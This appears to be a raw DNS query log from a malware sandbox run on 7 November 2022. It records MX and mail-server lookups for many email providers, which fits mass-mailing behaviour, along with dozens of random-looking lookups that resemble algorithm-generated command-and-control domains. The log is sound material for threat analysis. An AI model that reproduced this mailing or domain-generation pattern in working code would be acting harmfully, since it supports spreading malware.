Nov 7, 2022 22:25:07.739873886 CET	192.168.2.5	8.8.8.8	0x2710	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.745268106 CET	192.168.2.5	8.8.8.8	0x6dbd	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.745830059 CET	192.168.2.5	8.8.8.8	0x256f	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.782439947 CET	192.168.2.5	8.8.8.8	0xf6a2	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.874228954 CET	192.168.2.5	8.8.8.8	0x9329	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.877940893 CET	192.168.2.5	8.8.8.8	0x4050	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:07.899072886 CET	192.168.2.5	8.8.8.8	0x1e48	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:07.963927984 CET	192.168.2.5	8.8.8.8	0x4a39	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:08.513118029 CET	192.168.2.5	8.8.8.8	0x64c6	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:09.311119080 CET	192.168.2.5	8.8.8.8	0x71fa	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:09.918914080 CET	192.168.2.5	8.8.8.8	0x40b3	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.072742939 CET	192.168.2.5	8.8.8.8	0x1230	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.884978056 CET	192.168.2.5	8.8.8.8	0x4c38	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:11.912277937 CET	192.168.2.5	8.8.8.8	0xa0b2	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.916465044 CET	192.168.2.5	8.8.8.8	0x7b01	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:11.957931995 CET	192.168.2.5	8.8.8.8	0x23f5	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:12.093127966 CET	192.168.2.5	8.8.8.8	0x9be2	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:12.093647003 CET	192.168.2.5	8.8.8.8	0xb171	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:12.140575886 CET	192.168.2.5	8.8.8.8	0xd068	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.388853073 CET	192.168.2.5	8.8.8.8	0xb171	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:13.735867977 CET	192.168.2.5	8.8.8.8	0x90bc	Standard query (0)	mnaahmqpqs.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.749934912 CET	192.168.2.5	8.8.8.8	0x36e3	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:13.881228924 CET	192.168.2.5	8.8.8.8	0x1edf	Standard query (0)	rrhaerswna.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:14.465212107 CET	192.168.2.5	8.8.8.8	0xb171	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:14.999105930 CET	192.168.2.5	8.8.8.8	0x3e1f	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:19.273591995 CET	192.168.2.5	8.8.8.8	0x9f2c	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:19.275585890 CET	192.168.2.5	8.8.8.8	0xa6d9	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:20.075360060 CET	192.168.2.5	8.8.8.8	0xa1fe	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:20.279803991 CET	192.168.2.5	8.8.8.8	0x2249	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:23.975509882 CET	192.168.2.5	8.8.8.8	0x11c6	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:23.978662014 CET	192.168.2.5	8.8.8.8	0xacee	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:23.999176979 CET	192.168.2.5	8.8.8.8	0x4670	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.032007933 CET	192.168.2.5	8.8.8.8	0xbe76	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.056397915 CET	192.168.2.5	8.8.8.8	0x2c7c	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.291098118 CET	192.168.2.5	8.8.8.8	0xd41b	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.292397976 CET	192.168.2.5	8.8.8.8	0x907c	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:24.546483994 CET	192.168.2.5	8.8.8.8	0xa619	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:24.655188084 CET	192.168.2.5	8.8.8.8	0x2503	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:25.307316065 CET	192.168.2.5	8.8.8.8	0x2b0	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:26.149774075 CET	192.168.2.5	8.8.8.8	0x581d	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:26.402138948 CET	192.168.2.5	8.8.8.8	0x9e2f	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:27.554908991 CET	192.168.2.5	8.8.8.8	0xf73e	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:27.755059958 CET	192.168.2.5	8.8.8.8	0x55a5	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.522835970 CET	192.168.2.5	8.8.8.8	0xc5a9	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.525919914 CET	192.168.2.5	8.8.8.8	0xdffc	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.527066946 CET	192.168.2.5	8.8.8.8	0x8908	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.689392090 CET	192.168.2.5	8.8.8.8	0x57c0	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.690424919 CET	192.168.2.5	8.8.8.8	0xd45b	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.692333937 CET	192.168.2.5	8.8.8.8	0x73d7	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.710747004 CET	192.168.2.5	8.8.8.8	0x512c	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.715325117 CET	192.168.2.5	8.8.8.8	0x488b	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.734960079 CET	192.168.2.5	8.8.8.8	0x9448	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.334548950 CET	192.168.2.5	8.8.8.8	0xab72	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.431040049 CET	192.168.2.5	8.8.8.8	0x5582	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.433799982 CET	192.168.2.5	8.8.8.8	0xeb96	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:31.405436993 CET	192.168.2.5	8.8.8.8	0xd062	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:32.779815912 CET	192.168.2.5	8.8.8.8	0xa49	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:33.808221102 CET	192.168.2.5	8.8.8.8	0xa49	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:34.848736048 CET	192.168.2.5	8.8.8.8	0xa49	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:36.130105972 CET	192.168.2.5	8.8.8.8	0x5c58	Standard query (0)	wnhrrnhran.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.130203009 CET	192.168.2.5	8.8.8.8	0x540a	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.132723093 CET	192.168.2.5	8.8.8.8	0xbafa	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.562483072 CET	192.168.2.5	8.8.8.8	0xa30c	Standard query (0)	resrnrrmnn.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:38.866774082 CET	192.168.2.5	8.8.8.8	0xe7e2	Standard query (0)	mannheraph.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.118516922 CET	192.168.2.5	8.8.8.8	0x75f4	Standard query (0)	pqnqqqrpmh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.119791031 CET	192.168.2.5	8.8.8.8	0x5a6b	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.152574062 CET	192.168.2.5	8.8.8.8	0x1f69	Standard query (0)	smprehnwhs.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.351524115 CET	192.168.2.5	8.8.8.8	0xcb28	Standard query (0)	rhwnqwwnah.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.447191000 CET	192.168.2.5	8.8.8.8	0x1a31	Standard query (0)	srsersmhsa.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.652873993 CET	192.168.2.5	8.8.8.8	0xc451	Standard query (0)	neshnhhwss.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.683254957 CET	192.168.2.5	8.8.8.8	0x992b	Standard query (0)	mswapwrnan.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.739157915 CET	192.168.2.5	8.8.8.8	0xefe2	Standard query (0)	ahsppnhrmh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:40.422461033 CET	192.168.2.5	8.8.8.8	0x53d4	Standard query (0)	wmamewnnea.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.389573097 CET	192.168.2.5	8.8.8.8	0x5feb	Standard query (0)	nhwwheearh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.528718948 CET	192.168.2.5	8.8.8.8	0xb4ec	Standard query (0)	msqepwamwn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.863125086 CET	192.168.2.5	8.8.8.8	0x5bc5	Standard query (0)	pmmpmshmsr.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.921518087 CET	192.168.2.5	8.8.8.8	0x6c92	Standard query (0)	mahwmwnrmn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.984766960 CET	192.168.2.5	8.8.8.8	0xe4d2	Standard query (0)	aaawpshran.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.272490025 CET	192.168.2.5	8.8.8.8	0x60f7	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.272695065 CET	192.168.2.5	8.8.8.8	0xc7b7	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:42.822851896 CET	192.168.2.5	8.8.8.8	0x4a0e	Standard query (0)	alumni.caltech.edu	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:42.824625015 CET	192.168.2.5	8.8.8.8	0x6f35	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.991772890 CET	192.168.2.5	8.8.8.8	0x14b5	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:42.992567062 CET	192.168.2.5	8.8.8.8	0x5b87	Standard query (0)	alumni-caltech-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.994297981 CET	192.168.2.5	8.8.8.8	0x28e7	Standard query (0)	smmmwrsqhs.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.025820017 CET	192.168.2.5	8.8.8.8	0xd845	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.062459946 CET	192.168.2.5	8.8.8.8	0xf99f	Standard query (0)	pweenawwra.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.640186071 CET	192.168.2.5	8.8.8.8	0x2cb9	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.641438961 CET	192.168.2.5	8.8.8.8	0x6d3e	Standard query (0)	sqepwsanpn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.682141066 CET	192.168.2.5	8.8.8.8	0xa95c	Standard query (0)	qseerensns.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.819082975 CET	192.168.2.5	8.8.8.8	0x2587	Standard query (0)	hnhsehnhpa.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.978039980 CET	192.168.2.5	8.8.8.8	0x82d8	Standard query (0)	psswwrmraa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.005342007 CET	192.168.2.5	8.8.8.8	0xd4c2	Standard query (0)	hwhnrpesma.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.624754906 CET	192.168.2.5	8.8.8.8	0xdfd1	Standard query (0)	qmqspqnhwa.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.761158943 CET	192.168.2.5	8.8.8.8	0x6e17	Standard query (0)	shprahaqrh.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.792058945 CET	192.168.2.5	8.8.8.8	0x7715	Standard query (0)	rmmamheshh.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.856048107 CET	192.168.2.5	8.8.8.8	0xcf79	Standard query (0)	ennmqsmqna.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:45.702382088 CET	192.168.2.5	8.8.8.8	0xec8	Standard query (0)	qseahwrsps.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:45.792574883 CET	192.168.2.5	8.8.8.8	0x9fc8	Standard query (0)	ehrawpsrms.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:46.223021984 CET	192.168.2.5	8.8.8.8	0xf4a5	Standard query (0)	naspqmsmeh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:46.253726959 CET	192.168.2.5	8.8.8.8	0x6af5	Standard query (0)	wwnmhhenpa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:46.280206919 CET	192.168.2.5	8.8.8.8	0xa70a	Standard query (0)	qmrmswrran.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.176878929 CET	192.168.2.5	8.8.8.8	0x1acb	Standard query (0)	nongnu.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.216892958 CET	192.168.2.5	8.8.8.8	0x239b	Standard query (0)	kinoho.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.221813917 CET	192.168.2.5	8.8.8.8	0x1536	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.222662926 CET	192.168.2.5	8.8.8.8	0x53ba	Standard query (0)	eggs.gnu.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.242609024 CET	192.168.2.5	8.8.8.8	0x9908	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.247915983 CET	192.168.2.5	8.8.8.8	0xa7b8	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.300442934 CET	192.168.2.5	8.8.8.8	0xa70a	Standard query (0)	qmrmswrran.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.313644886 CET	192.168.2.5	8.8.8.8	0xac60	Standard query (0)	riseup.net	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.690115929 CET	192.168.2.5	8.8.8.8	0xcc85	Standard query (0)	mx1.riseup.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.691118002 CET	192.168.2.5	8.8.8.8	0x388f	Standard query (0)	wqeasppnas.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.717803001 CET	192.168.2.5	8.8.8.8	0xff9f	Standard query (0)	awhhsqness.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.628648043 CET	192.168.2.5	8.8.8.8	0x7048	Standard query (0)	eqprsrnprs.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.813720942 CET	192.168.2.5	8.8.8.8	0xa444	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.818721056 CET	192.168.2.5	8.8.8.8	0x873b	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:49.088418007 CET	192.168.2.5	8.8.8.8	0x8677	Standard query (0)	aaesrmawah.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:49.209275007 CET	192.168.2.5	8.8.8.8	0xbf6a	Standard query (0)	wnaampsmna.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.128458023 CET	192.168.2.5	8.8.8.8	0xa884	Standard query (0)	qpnphqawmh.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.258840084 CET	192.168.2.5	8.8.8.8	0xaea9	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.382534981 CET	192.168.2.5	8.8.8.8	0x8bcb	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.384107113 CET	192.168.2.5	8.8.8.8	0xc2e7	Standard query (0)	hmqrapnpsh.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.414892912 CET	192.168.2.5	8.8.8.8	0x9a95	Standard query (0)	aqsnaasemh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.449125051 CET	192.168.2.5	8.8.8.8	0x2ed7	Standard query (0)	haswmnsqah.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.495286942 CET	192.168.2.5	8.8.8.8	0x6924	Standard query (0)	aeaqnwmhes.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.747303963 CET	192.168.2.5	8.8.8.8	0x3f6b	Standard query (0)	mqsnrenerh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.773175955 CET	192.168.2.5	8.8.8.8	0xa629	Standard query (0)	nspseanhrs.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.811381102 CET	192.168.2.5	8.8.8.8	0xead5	Standard query (0)	haaahpspqs.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.840787888 CET	192.168.2.5	8.8.8.8	0x7bd5	Standard query (0)	qppqsasahn.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.577289104 CET	192.168.2.5	8.8.8.8	0x54d7	Standard query (0)	mnnhnhahmh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.580826044 CET	192.168.2.5	8.8.8.8	0x8401	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.594311953 CET	192.168.2.5	8.8.8.8	0x9547	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.605376005 CET	192.168.2.5	8.8.8.8	0xf797	Standard query (0)	nwrrpeshhn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.623199940 CET	192.168.2.5	8.8.8.8	0xcf14	Standard query (0)	mail.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.625083923 CET	192.168.2.5	8.8.8.8	0x8f97	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.635000944 CET	192.168.2.5	8.8.8.8	0x2e7e	Standard query (0)	wqsrephqms.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.654567003 CET	192.168.2.5	8.8.8.8	0x20ec	Standard query (0)	mxs.mail.ru	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.694514990 CET	192.168.2.5	8.8.8.8	0x7985	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.940146923 CET	192.168.2.5	8.8.8.8	0x5324	Standard query (0)	nprhssnrmn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.733454943 CET	192.168.2.5	8.8.8.8	0x7985	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:52.890096903 CET	192.168.2.5	8.8.8.8	0xba68	Standard query (0)	eqnhphnqms.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.912139893 CET	192.168.2.5	8.8.8.8	0x5f2	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.939090967 CET	192.168.2.5	8.8.8.8	0x4172	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:55.074750900 CET	192.168.2.5	8.8.8.8	0x7985	Standard query (0)	bog.msu.ru	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:55.076692104 CET	192.168.2.5	8.8.8.8	0x3380	Standard query (0)	neqanhanwn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.497693062 CET	192.168.2.5	8.8.8.8	0x62f2	Standard query (0)	smrnnmaqra.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.499664068 CET	192.168.2.5	8.8.8.8	0xdbcc	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.699287891 CET	192.168.2.5	8.8.8.8	0xfd98	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.700788975 CET	192.168.2.5	8.8.8.8	0xc8ea	Standard query (0)	nnnrpsanwh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.779591084 CET	192.168.2.5	8.8.8.8	0xd0c1	Standard query (0)	wharrewhpn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.137351036 CET	192.168.2.5	8.8.8.8	0x3d04	Standard query (0)	qhhnpesehs.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.311552048 CET	192.168.2.5	8.8.8.8	0x51e9	Standard query (0)	mesrphwwas.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.339642048 CET	192.168.2.5	8.8.8.8	0x7d51	Standard query (0)	awmmprseha.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.858469963 CET	192.168.2.5	8.8.8.8	0xd72e	Standard query (0)	weaamsqssa.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.063853979 CET	192.168.2.5	8.8.8.8	0x7ea2	Standard query (0)	rqeaqsqpsr.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.387480021 CET	192.168.2.5	8.8.8.8	0xe6cc	Standard query (0)	wrmqnnrqmh.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.448919058 CET	192.168.2.5	8.8.8.8	0x3829	Standard query (0)	npmpsewraa.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.481530905 CET	192.168.2.5	8.8.8.8	0xdc30	Standard query (0)	whqrmqmnrs.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.042998075 CET	192.168.2.5	8.8.8.8	0xb8d	Standard query (0)	nwqsnneawh.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.129224062 CET	192.168.2.5	8.8.8.8	0xe4f4	Standard query (0)	smwrehrsph.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.178946018 CET	192.168.2.5	8.8.8.8	0x7483	Standard query (0)	qrmhwrwwmn.info	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.255927086 CET	192.168.2.5	8.8.8.8	0x9d51	Standard query (0)	sprpmpqasn.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.288789034 CET	192.168.2.5	8.8.8.8	0x7955	Standard query (0)	apmeppqwqh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.083157063 CET	192.168.2.5	8.8.8.8	0xb782	Standard query (0)	wqpeaenphs.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.128576994 CET	192.168.2.5	8.8.8.8	0x3402	Standard query (0)	awqqrwmwsh.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.167537928 CET	192.168.2.5	8.8.8.8	0x78dd	Standard query (0)	erphseshhh.ws	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.608130932 CET	192.168.2.5	8.8.8.8	0xc08f	Standard query (0)	nmerqanann.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.662744045 CET	192.168.2.5	8.8.8.8	0xf8b	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.667371988 CET	192.168.2.5	8.8.8.8	0xbb04	Standard query (0)	hpswpmhqah.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.773876905 CET	192.168.2.5	8.8.8.8	0x160	Standard query (0)	psqesnmpph.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:06.652894974 CET	192.168.2.5	8.8.8.8	0xd6b0	Standard query (0)	hwnwwhmapa.net	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:06.905312061 CET	192.168.2.5	8.8.8.8	0xa994	Standard query (0)	nerrawwees.us	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:06.995507956 CET	192.168.2.5	8.8.8.8	0x7e6	Standard query (0)	smqnsaanqs.biz	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.112945080 CET	192.168.2.5	8.8.8.8	0x13f5	Standard query (0)	pehawnswha.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.143709898 CET	192.168.2.5	8.8.8.8	0x7260	Standard query (0)	wsmsannrsr.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.167733908 CET	192.168.2.5	8.8.8.8	0xaee6	Standard query (0)	pnmhpsaqwn.in	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.298727989 CET	192.168.2.5	8.8.8.8	0x4675	Standard query (0)	gzip.org	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:26:07.319427013 CET	192.168.2.5	8.8.8.8	0x41f0	Standard query (0)	gzip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.505659103 CET	192.168.2.5	8.8.8.8	0x330	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
